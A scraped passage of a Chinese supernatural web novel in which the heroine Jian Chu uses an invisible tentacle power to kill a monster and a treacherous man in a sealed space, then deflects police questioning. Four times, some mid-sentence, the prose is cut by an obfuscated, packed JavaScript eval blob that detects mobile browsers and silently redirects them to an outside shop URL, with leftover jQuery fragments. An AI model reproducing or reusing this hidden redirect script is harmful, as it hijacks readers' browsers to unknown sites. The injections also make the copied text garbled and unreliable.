几乎一瞬间，简初就确定自己必须要离开现在所在的位置，否则等那个怪物一下楼，第一个看到的就会是自己，她环顾四周，离得最近的有遮挡物的地方只有—— 前台。 中年男人好不容易翻过身来，就瞧见那女孩看都不看他一眼，像只耗子窜进前台的柜台后面。 他眼睛通红，身体止不住颤抖，他不知道虚空中是什么东西把自己拖向那只怪物，只能竭力控制着嘴边的惊呼，在心里默念着—— 来得及，还来得及，三、二、一！ 突然，男人的身影好像信号不良似的，闪烁了两下消失在原地，下一秒就挤进了前台，简初眯着眼打量明显被吓得不轻的人，心里默默分析对方的能力。 类似闪现，但他被抓住的时候没有立刻使用，应该是有冷却时间，而他两次使用之间相隔也就两分钟的样子。 最重要的是他也选择躲进前台而不是直接进入那道暗门，就说明这能力有限制。 小小的柜台下，两人各占一边警惕地盯着对方，但都不约而同地没有开口。 “人……呢？” 仙人掌怪物失去目标，茫然地停下了脚步，沙哑的嗓音伴随着奇怪的粘腻咕叽声，从楼梯的方向传来，简初的胳膊上过电一样惊起一片鸡皮疙瘩，另一边的男人也伸手搓了搓胳膊。 怪物犹豫了片刻，终于又迈开步子，行走间脚底板带起一片湿答答的胶粘声，是有粘液粘在地板上又被拉扯开的声音。 前台后面是一面玻璃门的柜子，简初一边通过它关注怪物的动静，一边用余光观察中年人的反应，他此刻额头上全是汗珠，眼神倒是四处乱飘，不敢对视。 呵，要是这人待会又想跑，就直接把他塞怪物嘴里。 中年男人突然背脊一凉，默默地缩得更小了。 他心底正辱骂组织冷血，自己这么尽心尽力，居然没提前告诉他这么危险，等他完成任务出去一定要闹一闹，争取更多好处！ 头顶桌上的奇异立方正撒下荧荧的光芒，细细的碎光异常好看，但在这样的场合下并不是什么好事。 透过对面橱窗上的反光，简初可以看到那只怪物模糊的身影，他看起来被这抹光吸引了视线，正朝这边走来。 前台下方的空间并不小，只要不绕行到侧边，未必会发现他们。 “砰、砰、砰。” 随着它一步步接近，搏动的心跳声逐渐变得强烈，仿佛即将罢工的水泵，一下一下敲在简初的心头。 有些耳鸣，但她的意识现在异常清醒。 缩在另一侧的中年男人头上的汗珠已经流进眼睛里，但他甚至不敢伸出手来擦一下。 对方知道的信息明显比简初要多，但她想不明白，为什么有这么多人跟她有仇。 难道是她之前无意得知了什么秘辛？可这跟她有什么关系，自己现在是真的什么都不知道啊！ 中年男人此刻目光发直，哆嗦的幅度变得更明显了些，但简初没有忘记，他两分钟的技能冷却很快就要结束了。 时间一分一秒过去，脚步声又往楼上去，最终消失了，估摸着是腿有点麻了，中年人小心地动了动腿，眼神朝简初瞥去，看起来有些不安分，他犹豫了几秒，竟然跟她搭起话来。 “它是不是走了？” 简初冷淡地瞧他一眼，对方眼中的心机几乎直接淌出来，她翻了个白眼没应声，见她没回应，中年人识趣地闭上了嘴。 组织这次给他的任务是回收芯片。 数据芯片满十分钟就会自动脱落，他只要躲进暗门，等异种杀了这个女孩，收集到数据，就能取回芯片，利用空间棱晶安全离开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|11761110|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个女孩一看就是组织招来的炮灰，他原本是想着先伤到对方，然后躲起来等异种出手，顺顺利利完成任务，但没想到对方明明没有能力，却是个刺头，陷害不成反而差点把自己搭进去。 而且那只异种的能力并不像上级告诉他的那么简单，他这次没准能升个两级也说不定。 简初面无表情地看着中年人露出笑容，心下不觉警惕起来，这么危险的场合他还笑得出来，一定是还有后手。 “吱呀吱呀——” 怪物的脚步声再次响起，它又回到了一楼，可看起来并不能离开这家旅店，只能在内部游荡。听见动静，中年人肉眼可见地焦躁起来，两分钟已过，小触手虚虚地环绕着对方的腰身，并不让他感受到威胁，又方便简初随时做出反应。 这次，怪物并没有如简初所愿离开，脚步声越来越近，映照在橱窗上的暗影充满压迫感，逐渐逼近了柜台的侧边。 一步之遥。 中年人猛地伸出脑袋，下一秒消失在原地，被动静吸引过来的怪物顺理成章地将注意力放在了简初身上。 呵，果然。 简初一把握住桌子边沿，像条小蛇一样哧溜滑了出来，另一只手已经提着椅子腿，砰然一声砸在怪物脑门上，木头四分五裂碎了一地。 她一个多余的眼神都不给，旋身一个翻滚，从桌面上翻过，目光锁定了缩在怪物身后的墙角，正准备开溜的中年人。 小触手骤然紧缩，毫不留情地扼住了对方的咽喉，巨力将男人甩了过来，啪唧一声正落在甩着脑袋的怪物面前，简初也借此机会终于看清了它。 高大的身躯布满骨刺，眼睛血红而暴突，骨刺缝隙间还有残破的衣服碎片，以及—— 那一片薄薄的，由简初亲手贴上的圆形贴片。 “不！不要！放过我！我是被逼的，组织要杀你，不关我的事！” 中年人终于明白，此前将自己拖出来的无形之手究竟是谁的杰作，他此刻已经无暇去想，为什么组织确定的身为普通人的目标却拥有天赋能力，他现在只想活着。 他清楚，自己的能力只适合逃跑，而现在已经没有时间等到下一次机会了。 怪物仍呆傻傻地站在原地搓着脑袋，比起它可怖的外形，它的智商看起来并不能构成威胁。 “别想着骗我，组织怎么可能会要杀我。”简初面露不屑，十足的组织迷妹派头。 “真的真的，他们想收集异种的数据，你放过我，我一定会帮你跟组织说好话的，我级别比你高，说话有用的，你的能力一定够你升职的。”中年人语无伦次，涕泗横流竭力求饶。 简初向后退了一步，目光掠过已经回过神来的怪物：“你会帮我说话吗？” 中年人闻言眼睛一亮：“真的真的，你不是有异能吗！我一定会……” “那就更不能留你了。” 中年人愣了愣，一下子没反应过来简初话里的含义，下一秒，怪物手臂末端深处奇长的黑色骨刺，哧溜一声穿透了中年人的腹部，他的视野逐渐黑下去，简初毫无留恋的背影刺激着他的神经。 不！他还不想死！ 唰！ 骨刺回收，中年人的身体晃了晃，出现在了简初身后，一把攥住了她的脚踝。 5. 灯下黑（5） 不！我还不想死！ 中年男人爆发出最后的力气，强行驱动了尚未刷新的异能。 简初一个趔趄，要不是及时撑住了地面，恐怕已经一头磕在楼梯上，头破血流。 她回过头，看见一只手紧紧攥住她的脚脖子。 中年人脸色已经几乎像一具尸体，不知道是腹部伤口太大，还是他强行催动异能的副作用，他看上去已经活不了多久了，但他的手紧紧攥着简初，想要拉个垫背的。 简初冷笑一声，提脚狠狠踢在了对方脸上。 对想要害自己的人，她没那么多耐心。 怪物已经追到了楼梯下方。 中年人仍然不松手，他龇着血糊糊的牙，朝简初露出一个及其恶意的笑容：“你逃不掉的。” “凭你，逃不出这个异空间的。” 中年人说完，等待简初脸上出现害怕或者暴怒的神情，但出乎他意料的是，她的脸上浮现出一丝嘲讽。 小触手幽幽地缠上中年人的脖颈，骤然收缩，简初从兜里掏出一个奇异的立方体，从他面前一晃而过，满意地看到对方混沌眼神中的愕然。 “现在你可以放心了。” “再见。” 小触手尖端化出利刃，从中年人的下巴狠狠戳了进去，在他的天灵盖露出一点半透明的虚影。 “天赋技能【神之手】升级成功，解锁能力【视线所及】，请继续努力。” “视线所及：你可以抵达任何想要前往的地方，只要它在你的视线之内。每次发动能力间需要相隔&%￥#……60秒。” 一阵乱码过后，出现了一个意料之外的数字。 冷却时间缩短成一分钟的，让简初立刻就想使用能力，和怪物拉开距离，不过最终还是忍住了，现在的距离并不危急，局势瞬息万变，她需要把能力放在最有用的地方。 楼下的黑影抬脚向上走了一步，缓缓走出楼梯的阴影，露出整张瘆人的面孔。它脸庞上的裂缝中冒出细小的尖刺，红光透过楼梯最上方狭窄的呼吸窗照在他身上，像鲜血一样蔓延开来。 简初深深看了对方一眼，随手用力拽下楼梯中间锈迹斑驳的铁栏杆，握在手里掂量了一下。 怪物布满血丝的眼睛颇为灵活地转动了一圈，像某种蜥蜴，随后锁定在面前的少女，以及她手里的铁棍上。 空气静止了两秒。 “吼咕咕！” 刺耳的吼叫，夹杂着黏腻的口水声，骨刺陡然爆开，衣服的布料崩碎一地。 简初转头就跑，地板在踩踏之下疯狂发出碎裂的声音，而那只怪物如同一阵黑色的旋风追在她身后，它的行动肆无忌惮，每一步都在地板上留下一个大窟窿。 不知道是什么触及了怪物的神经，它的动作变得迅捷，碎裂的地板并没有拖慢对方的脚步，破裂的巨响仿佛催命符一般紧紧跟着简初。 脑后一道风声，她咬咬牙，拧过腰躲开攻击，顺手扬起一棍砸在它的脑袋上。 “嘣！”铁棍从中应声而折。 “……我靠！” 这破棍子什么质量！豆腐渣工程！ 简初一把将半截铁棍摔在被打得有些发懵的怪物头上，继续转头向楼道尽头跑去。 没路了？！ 不对，前面是个窗户，她现在在二楼，估摸着离地面有三四米的高度。 莽了！ 简初脚下不停往尽头的窗户跑去，她要收回之前的话，这走廊现在怎么这么长啊！ 布满裂纹的窗户玻璃已经近在眼前，那怪物也追了上来，它变得奇长的手臂一探，就抓住了简初的衣摆。 简初被绊得动作一顿，她努力稳住身子，单手撑地躲开了对方的攻击，一个横扫对方岿然不动。 她来不及惊讶，往后翻滚一圈跟怪物拉开距离，想要找机会跳窗逃离这狭窄的走廊，但就在此刻，意外陡生！ 哧溜！ 对方的肩胛骨上出其不意地伸出第三条胳膊，瞬间抓住了简初的脚脖子，下一秒，天地倒转，简初被提溜起来，粗糙的爪子掐着她脖子，把人按在了地上。 空气极速消失，简初再次听见自己的颈骨在巨力之下咯咯作响，她眼前一阵阵发黑，两手掰着卡住脖子的手，试图争取到一些空气。 “哧！” 根本来不及抵抗，一道尖刺戳进了简初的下腹部，肾上腺素疯狂分泌，伤口处传来阵阵麻木和液体涌动的触感，几乎让她眼前一黑。 骨刺从她腹部抽出，带出热涌的鲜血。 简初感觉到胸口伴随着呼吸越来越痛，整个脑袋涌上滚烫的热意，每一次喘息只能争取到微乎其微的一丝空气钻入肺中，但身体的温度却随着血液的流失越来越低。 不行，这次死了就真的完了！ 简初的大脑陷入离奇的清醒，她必须要杀了它，没有其他选择。 布满血色的视野里，一道半透明的粗壮触手回应她的意志，带着凛冽的锐气从她脑后伸出，缠上怪物粗壮的脖子，绷直了将其向后拉去，怪物的颈骨被迫后折，手上的劲也不自觉松了几分。 简初眼前已经看不清东西了，但是她能感觉到卡在脖颈的手有松开的迹象。 就是现在！ 她骤然屈腿，给对方的腹部狠狠来了一脚。 纹丝不动。 紧紧缠住怪物的半透明触手见状，逐渐扭曲，末端拉长，化出一把神似手术刀的透明尖刀，它在空中摇摆了一瞬，似乎在找寻一个下手的好角度。 这里！ 刀随意动，一丝只有简初能看见的寒光闪过，皮肉被切割的声音响起，空气争先恐后地涌进简初的肺部，温热的血液喷洒在她脸上，带着恶臭的血腥气令人作呕。 她来不及看一眼掉落在地面上的手臂残肢，睁着迷蒙的双眼艰难爬起身，忍着强烈的呕吐欲望，跌跌撞撞向前冲去。 怪物仰天怒吼，平整的手臂切口涌动着肉芽，一只瘦弱干枯的手臂转眼间在断口处重新生长，跟其余肢体显得格格不入。 “砰！” 玻璃碎裂的声音回荡在整个寂静的空间，一个人影从二楼坠落，紧随其后的是一个体型巨大的异种。 简初一眼望到空间的边界，异能发动！ 小触手在简初腰上缠了几圈，紧紧捂住伤口，接着伸长末端环绕在她的要害部位，下一秒，她在最远处落地，咕噜噜在地面上滚了几圈才停下。 那只怪物也没好到哪里去，它似乎并没有坠落的概念，在空中胡乱挥舞着肢体，乱七八糟的一坨摔在了地上。 简初借着触手的支撑站起身来，触手面朝怪物高高竖起，仿佛是战意昂扬的守卫，拱卫着它的新王。 杀了它。 心随意动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|11761111|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，半透明的触手微妙地捏起一把同样半透明的手术刀，迅捷地朝怪物冲了过去。 简初：“？” 细长的手术刀在怪物粗长的黑色骨刺对比下，显得文质彬彬起来，不过小触手的敏捷看上去比对面高得多，再加上怪物瞧不见它，一时间把怪物耍得团团转。 不过怪物周身的骨刺硬度非常，刚刚被砍断的手也已经重新长了出来，上面的骨刺变得更加坚硬，几乎和脑袋上的一样了。 简初眯了眯眼。 所以，它认为容易受伤的地方，会用更多的骨刺来保护？ 从这一秒开始，小触手每一招都瞄着怪物脑袋上使，简初感受到强烈的精神疲惫，好像触手的每一次行动，哪怕只有一寸的挪动，都在消耗她的精力。 不能再拖了，哪怕多消耗点气力，也要速战速决。 …… “还要多久才能破解？” 待傅燃回到房间内，领域场如期撤销，他微微拧着眉朝耳机那头说道，冷淡的面容显得更加不近人情。 “还要一会，这次的空间系能力挺强的。” 傅遥抱着手臂，啧了一声，紧紧盯着技术部的人操作：“研究所那边的人呢，这么大的漏洞，他们没安排个人来？” “没有。”安琥耸耸肩，“意料之中，毕竟只是测试版。” “把锁定到的点位先发我，我先过去。”傅燃冲耳机那头说了一声，果断离开了房间。 …… 粗壮的触手宛如一条巨蟒，薄如蝉翼的手术刀在海胆般的脑袋上留下数道切口，里面泛出淡黄色的粘液。 小触手像只小狗一样抖抖身子，似乎是感觉到恶心，又不得不捏着鼻子举着刀往上冲。 简初很明确地感受到它和自己的牵绊，与其说它是某种寄生物，倒不如说是自己意志的实体化，简初的意识丝毫不带延迟地被小触手贯彻执行。 此刻，它非常精确地瞄准最深的那一道切口，趁怪物还没有来的及修复的时候，一下一下扩大着伤口，黄白的内容物逐渐显露出来。 快结束了。 最后一刀，透过半指宽的伤口，直直戳了进去，似乎是不甘心，手术刀还在黏糊糊的脑腔里搅了搅。 简初：“……”这不是她想干的，真的。 “解锁能力【快速修复】，请继续努力。” “快速修复：居家旅行杀人越货必备，你会经无数战斗，但你的恢复永远快人一步，即使被切断肢体，也有机会重新生长，但请记住，永远不要过于依赖它。” 不同于之前的消息，这次没有天赋技能升级的提示。大概是等级越高，升级需要的经验越多？ 简初若有所思，接着毫不犹豫发动了能力。 怪物轰然倒地，黄白之物流了一地，简初从医以来没见过这么惨烈的现场，小触手抖了抖，期期艾艾地靠过来。 简初：“这伤口太丑了。” 小触手尴尬地扭了扭，犹豫着捏起一根细细长长的针，乱七八糟地把怪物的脑壳缝了起来，半透明的丝线在其中闪闪发亮，简初甚至感觉到自己的一部分意识正置身于黏糊糊的血肉里。 好恶心。 下一秒，半透明丝线回应简初的想法，像炸开的烟花一样消散，伤口再次崩裂开，这次看起来更糟糕了。 简初：要不还是闭上眼算了。 6. 灯下黑（6） 简初错开眼，不再看地上怪物的尸体。 一切已经重归平静，但周围的一切仍然没有恢复正常的迹象，她沉思两秒，掏出了兜里的发光立方体。 骨节分明的手指捏着它，缓慢旋转了一周。 不知道什么时候，立方体的背面出现了一条裂缝，简初若有所思地环顾四周，在自己的右前方的红色壁障上，发现了一条如出一辙的痕迹。 就这么一会，有细碎的光尘从中散开，裂缝又扩大了几分，简初眯了眯眼，似乎看到缝隙之后有一个人影。 她不再多想，异能发动，瞬间出现在旅馆的背后，下一秒右手用力捏碎了掌心的立方体，莹莹碎光崩散开来。 四周的壁障缓缓消散，她靠在有些斑驳的墙壁上，眯着眼看着缝隙后的那道人影迅速靠近了怪物尸体。 是之前在楼梯上遇到的年轻人。 她垂眼搓了搓指间的半透明贴片，伸出触手将其撕了个粉碎。 “噔噔噔！” “恭喜你完成先行任务，正式拥有了第二条生命，机遇往往与危机并存，强者常常与死亡共舞，请你将这濒死的危机感刻进脑海，因为它会时常来造访。” “请静待下一次任务的到来。” 系统提示姗姗来迟，不过简初也松了口气，至此她应该暂时安全了。 另一边的傅燃若有所感地抬起头，旅馆四周除了他之外空无一人，他伸手将异种的尸体回收。 “还是来晚了。” …… 联邦异常特战中心，生化研究小组。 研究室外，特遣队的几名成员一脸不愉，紧盯里面一群白大褂围着那具异种的尸体忙碌，一旁还有几人正在解剖一个中年男人的尸体，要是简初在这里，一眼就能认出这是谁。 “研究所的那群人真不要脸，居然还敢觍着脸管我们要尸体去研究。” 安琥狠狠啐了一口，深呼吸了几口按下了愤怒，转而又焦虑起来，“我们直接跟他们对着干，那群小心眼肯定要打小报告。” “让他们去，这次行动他们屁用没派上，特战中心本来就有研究异种的权限，跟我要东西？天王老子来了都没门。” 傅遥冷哼一声，两方积怨已久，这只不过是一个小小的冲突，不值一提。 “现在里面分析到什么程度了？”她深深看了一眼里头忙碌的清秀女性，长长吐了口气。 “暂时还没有什么有用的结论，目前看来死者身上的伤口都是异种的骨刺造成的，至于空间棱晶的踪迹，目前还没有发现。”安琥答道。 “异种这边检查起来估计要慢得多，这段时间乐清都在这边帮忙，她之前的活你多看着点……” “嘀”的一声，手腕上的工作终端打断了对话，傅遥停下脚步，不过几秒便关上了消息。 “意料之中，旅店那边的监控全都没用，死者的身份倒是有待商榷，但大概率挖不出什么东西。” 涉及异常的事件，普通的监控设备几乎派不上用场，能制衡异常的只有异常，异能者和异种均在此列。 闻言，另一边的傅燃露出若有所思的表情，不过他并没有开口。 “安琥，现场复原模拟那边你来跟进，还有这次的空间系能力波谱，跟追缉库里的人员对比一下，合起来出份报告。” 作为副手，安琥对这些安排已经见怪不怪，当下点头，先一步离开了。 给在场几名后勤文员也安排下工作，傅遥便带着不做声的傅燃向办公室走去。 “怎么了，看你表情不对，在想什么？” 还得是亲姑姑，才能从这张万年冷漠的漂亮脸蛋上看出不对劲。 “没什么，就是想到在旅店里遇上一个人，还跟我搭话来着。” 傅遥很想说，就凭他那脸，搭话很正常，但看到年轻人一脸严肃，真心实意地跟她讨论，只能默默咽下了到嘴边的吐槽。 “感觉有问题就去查一下，模拟画像找一下人还是很简单的。” “嗯，我有数。” 看傅燃没有继续交流的意思，傅遥换了个话题：“过段时间开学你是不是得回去了，你这次接的任务是什么情况……” 话还没说完，就对上年轻人清凌凌的眼神，傅遥自觉拉上了嘴皮：“好好好，我不问，机密嘛，就是你这一走我们这又损失一员大将。” “我只是临时调来帮忙的。”傅燃面色平静，开口说的话怎么听怎么无情。 “我知道我知道！”傅遥咬了咬牙，把脚下的靴子踩得噔噔直响，“注意安全就行，走吧走吧，看你心烦。” …… 快速修复非常管用，很快简初腹部的伤口就愈合了七七八八，剩下一道看起来有些狰狞的伤疤，不过已经比刚刚淡化了些许，看来要不了多久就会完全消失，可惜失去的体力和血液已经无法挽回，透过街边的玻璃窗都能看出她苍白的脸色。 “你好，请问需要帮助吗？” 一个只到简初半腰的身影挪了过来，大概是看她在这里站了许久，所以主动来提供帮助。 简初低下头对上一双毫无光彩的眼睛，是一个巡逻机器人。 除了这双眼睛，它身上几乎没有任何一个符合正常人体科学的地方——反而更像三头身的漫画形象。 “女士，请问你需要帮助吗？我可以为您指路。” 见简初没有回答，它又重复了一遍，大概是外形已经将它的身份诠释得很明确，它的声音反倒是甜甜的，毫无攻击性，让人忍不住放下防备。 “不用。”简初拒绝了。 “好的女士，有需要可以找我和我的同伴，祝你今日愉快。”话音落下，它咕噜噜地滚远了，简初没忍住，多看了眼机器人脚底板冒出来的轮子。 她从路边的售货机里买了一瓶饮料，糖度超标，适合补充体力。两根指头夹着瓶口，简初晃晃悠悠在路边的长椅上坐下。 拧开，喝一口。 脸迅速皱缩在一起，她举起瓶子看了两眼，又不死心喝了一口，还是拧上了瓶盖。 这也太甜了，感觉嗓子已经痒起来了。 她将饮料瓶搁在身边，终于腾出时间仔细翻看自己的终端。 作为实践派，她已经发现了自己对这个世界的认知来得异常容易，好像它就安静地放在那里，等待她触及。 当然，仅限大众理解中的常识，至于简初为什么知道这个限制，就要得益于此前收到的那则短信了。 [亲爱的简初同学，您的假期已不足五天，请注意按时回校开启下一学期的课程，无故推迟返校将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|11761112|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影响本年度评级，本条信息不需要回复。] 简初不死心地再次戳进星网，搜索自己的专业，精神控制与疏导。 脑袋空空，自己不会要被劝退吧！ 下一秒，系统的声音热情响起。 “噔噔噔！” “再智慧的人也有无法触及的知识盲区，但学无止境，请你先不要着急，让我们来思考一个问题——你认为是物质决定意识，还是意识决定物质，选择至关重要，需要时刻铭记。” “触发任务：成为精神控制学院首席并得到至少两名行业翘楚的认可。” “重要说明：本任务不设时限，但拖得太晚对你来说可不是件好事。” 系统任务来得莫名其妙，简初默然，顿感前途迷茫。 …… 在街上转悠了许久，巩固了不少常识，此时的天色已经慢慢沉寂下来，简初慢慢悠悠往旅店的方向走去。她还有行李放在那里，无缘无故扔下东西不再出现，怎么看都像个可疑人物。 出乎意料的，门口并没有什么异常，但前台小姑娘煞白的脸色还是吸引了她的注意。 “客人您好，要住宿吗？”她努力露出一个笑容，但看起来却十分惶恐。 “我办过入住了，之前的那个人呢，你们换班了？”简初努力扮演一个普通的客人，装作不经意问道。 “不好意思女士，我是新来的，有什么事找我也一样的。”小姑娘微妙地避开了有关中年男人的话题，但不太好看的表情已经说明了一切。 “没什么，就随便问问。”简初摆了摆手，转头往楼上走去。 “好的女士，有事请联系我。” 大约是刚刚上岗，还有几份工作热情，小姑娘相当礼貌地站起身，目送她上了楼。 简初再次踏上了楼梯，熟悉的嘎吱声响起，唤醒了一些不太美妙的记忆。 楼梯中段还有一点残留的血迹，沁在干枯的墙纸和楼梯的夹缝处，很不起眼，但没逃过她的眼睛。 身后虚虚传来前台小姑娘带着哭腔的声音，应该是在和谁打电话：“老板，晚上能不能再安排个人来，我真的害怕……” 看来中年人的尸体也被发现了。 楼梯扶手破破烂烂，但非常完整，简初转过身，看到走廊尽头的玻璃上布满灰尘，并没有任何碎裂的痕迹。 她长吐了一口气，刷开房门，回到了室内。 垮下肩膀把自己扔进不算柔软的床铺里，简初开始反思自己前二十八年的日子里到底做了什么伤天害理的事，才会有如此离奇的经历。 先是目击凶案，接着被凶手发现试图灭口，然后来到了这个莫名其妙的世界。 对了，那凶手还是个怪物。 在这里的经理就更不用说了，光是再想想都会让人毛骨悚然的程度。 “咚咚咚。” 有脚步声逐渐接近，最后停在她门口，礼貌地敲了敲门。 “女士你好，方便开门吗，这边给你送点东西。”是前台那个小姑娘的声音，不过听上去有些颤抖。 简初爬起来打开了门，意料之中对上两张陌生的脸，前头那位掏出证件，在她面前停了两秒，又收到了口袋里。 “南芒区警务署，余乐，有些事情要找你了解一下。” 7. 灯下黑（7） 简初错开视线，对上前台小姑娘惊惧的眼神，微微歪了歪头。 “警官！我、我先走了！”小姑娘一抖，丝毫不敢跟简初对视，匆匆忙忙转头就跑，还被走廊中央有些翘起的地板绊了一下。 简初：“……” 怎么回事儿，她看起来这么吓人么？ “方便进去聊嘛？” 在他身后，一个长着圆圆脸的女警官笑眯眯地探出头，跟不怒自威的余乐形成鲜明对比，“我叫方何欣，这是我的证件。” 长久的历史经验证明，一个唱红脸一个唱白脸还是很有用的。 简初点了点头，正要让他们进来，却听见隔壁的房门突然打开，紧接着一个住客模样的人从里面走了出来，他空着手，看起来似乎要出门。 在三人的注视下，年轻人硬着头皮，努力目不斜视地经过，但他偷偷扫来的余光还是告诉所有人，他是来看热闹的。 “做什么呢？” 余乐面无表情开口，给年轻人吓了一激灵，他赶紧立正，装模作样地拍了下脑门。 “啊！我忘记拿房卡了！” 他迅速转过身，收回了自己的好奇心，“嘀”的一声，扫开房门，再也没有出来。 余乐冷笑一声，开口道：“待会去那边也问问。” 简初：“……” 希望那小伙待会被敲开房门的时候，还能有如此的活力。 “请进来吧。” 小小插曲过后，几人终于进入房间，简初随手掩上了房门，并没有关严实，在场的人都看到了透着光的门缝，不过没人提出什么意见。 房间内空间不大，三个人戳在那儿，立马就显得逼仄起来。 “你不要紧张，就是跟你了解一点事情。”余乐朝她点了点头，开口道，“听说你刚刚从外面回来，今天你都去了哪些地方？” 看起来对方很想温和地开展工作，但一开口就是直入主题。很明显他们已经查过自己的底，并且也丝毫不介意她意识到这件事。 某种程度上来说，让她意识到自己被调查过，还有一点威慑的作用。 简初眨眨眼，眸子里带着象牙塔中特有的清澈：“我到处转了转，逛逛街什么的。” “可惜我手里没什么钱，不然多少要买点东西。”她露出诚恳的、有些遗憾的表情，“我没有收入来源，大多数东西只能在学校花积分买。” 她说的是联邦军校的校内积分，日常需要的东西都可以用它来兑换，属于是另一种意义上的通用货币。 “温和”的聊天快速过掉，余乐终于切入正题。 “你对这个人有印象吗？” 他展开一张照片，上面的中年男人看起来老实憨厚，只有那双眼睛看起来有些浑浊。 简初眼前闪过他满脸血的画面，正准备开口，却突然后背一凉，感受到暗处有人在窥视。 不是来自第四人的实质的视线，而是…… 小触手“嗖”得一下蹿了出来，在空中拧成麻花，对着方何欣愤怒地指指点点。 对方的眼里有着深不可见的漩涡，似乎不小心就会让人陷进去，小触手终于收回自己骂街的姿势，转而擀平，摊成一张薄薄的光饼，竖在双方中间。 简初透过只有自己能看得到的楚河汉界，跟方何欣对视了一眼。 她眼神微微向左偏移，脸上露出一丝疑惑：“啊，这不是前台那个人吗，他出什么事了？” “你跟他最后一次见面是在什么时候？”余乐并没有回答她的问题，而是继续追问。 “最后一次……应该是今天上午吧，可能十点还是十一点，反正是比较晚了，我出门的时候他就坐在前台后面，不知道在做什么。”简初做出思考的样子。 “详细描述一下，他在什么位置，是什么状态，周围有没有什么可疑的人或物。”余乐开口道。 “啊？好的……”简初乖乖点头，“我下来的时候他就坐在前台后面，低着头好像在玩终端？不过手上的东西我没看清，我就是经过顺便瞥了一眼，唔，我印象里周围也没有什么特殊的东西。” 余乐低头默默记录，见她说完沉默下来，又抬起头：“就这些？” “啊，还有什么吗？”简初表情迷惑，接着压抑不住好奇心，放低了声音犹豫开口，“那个……他是不是犯事了？” “是我们问你，不是让你反问。” “哦，好吧。” 简初扁扁嘴，不再多话，心底的小人已经翘起二郎腿。 果然，他们对异空间里的具体情况几乎一无所知，否则不可能如此友好地和她交流。 她刚刚上楼的时候就发现，在异空间里被自己掰下的栏杆、撞碎的玻璃，全部都完好无损，因此可以推断，这场战斗最后留下的只有两具尸体，其外所有的痕迹都随着空间崩解消失了。 简初看着对面两人，她现在对方何欣的异能很好奇，看起来是测谎，但不知道是通过什么来判断，而现在被小触手影响了的话，她又会看到什么呢？ “谢谢配合，最近请保持联络通畅，如果有需要我们会联系你的。” “好的。” 结束比简初想象的快很多，不过仔细想想，一来他们没有掌握到什么实质性的证据，二来他们似乎对方何欣的能力非常有信心。 …… 两人坐上车，余乐将车辆开动起来才开口说话。 “怎么样？” 没头没尾的一句话，坐在一旁的方何欣闭上眼，疲惫地长出了一口气，这个异能消耗还是太大了。 她摇摇头，开口道：“没有问题。” 但许久没有等到回应，方何欣转头疑惑地看过去：“怎么了？” “……没什么，回头把数据整理一下，给特战中心发过去。” “我还不知道你，别想太多，我测谎小达人你还信不过？联邦学院那边的材料你也看了，她确实没有异能。”方何欣无奈地开口。 她太了解余乐了，这人心思重，责任心太强，虽然对于工作来说这是好事，但是常常会给自己带来负担。 “我知道，别担心，回去还有其他事情要忙。” …… 送走两人之后，简初再次百无聊赖地翻起终端，只能说这个世界的信息量过于爆炸，她要了解的东西还有很多。 人口爆炸不说，八卦新闻小道消息遍地都是，非常适合吃瓜，简初从这些众说纷纭似真似假的传言里，了解到不少关于异常的事情。 在这个世界里，有关异常的历史并不算短，从简初能够查到的记录里，最早已经是八十年前的新闻了，而实际上只会比这更久远。 但之前的所有信息都是关于异能者的，跟庞大的人口基数相比，异能者数量并不算多，但他们在这个世界扮演了至关重要的角色，不过大多数异能者都由官方登记在册，确保普通人的安全。 刚刚经历了异常的简初撇撇嘴，对这条假新闻嗤之以鼻。 都说了是异能，哪有那么容易管控，不过以联邦现在的社会秩序来看，已经算管得很不错了。 书本上会有一些已故异能者的事迹，此外没什么详细的内容，大多是人们的激情讨论，一些异能者的能力很鸡肋，比如能够变出矿泉水，但一天只有一杯都不够自己喝的；再比如有连续72小时不需要睡眠，但代价是使用后沉睡24小时，很适合用来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|11761113|125168||http|test|mini|href|location''.split(''|''),0,{})); () { 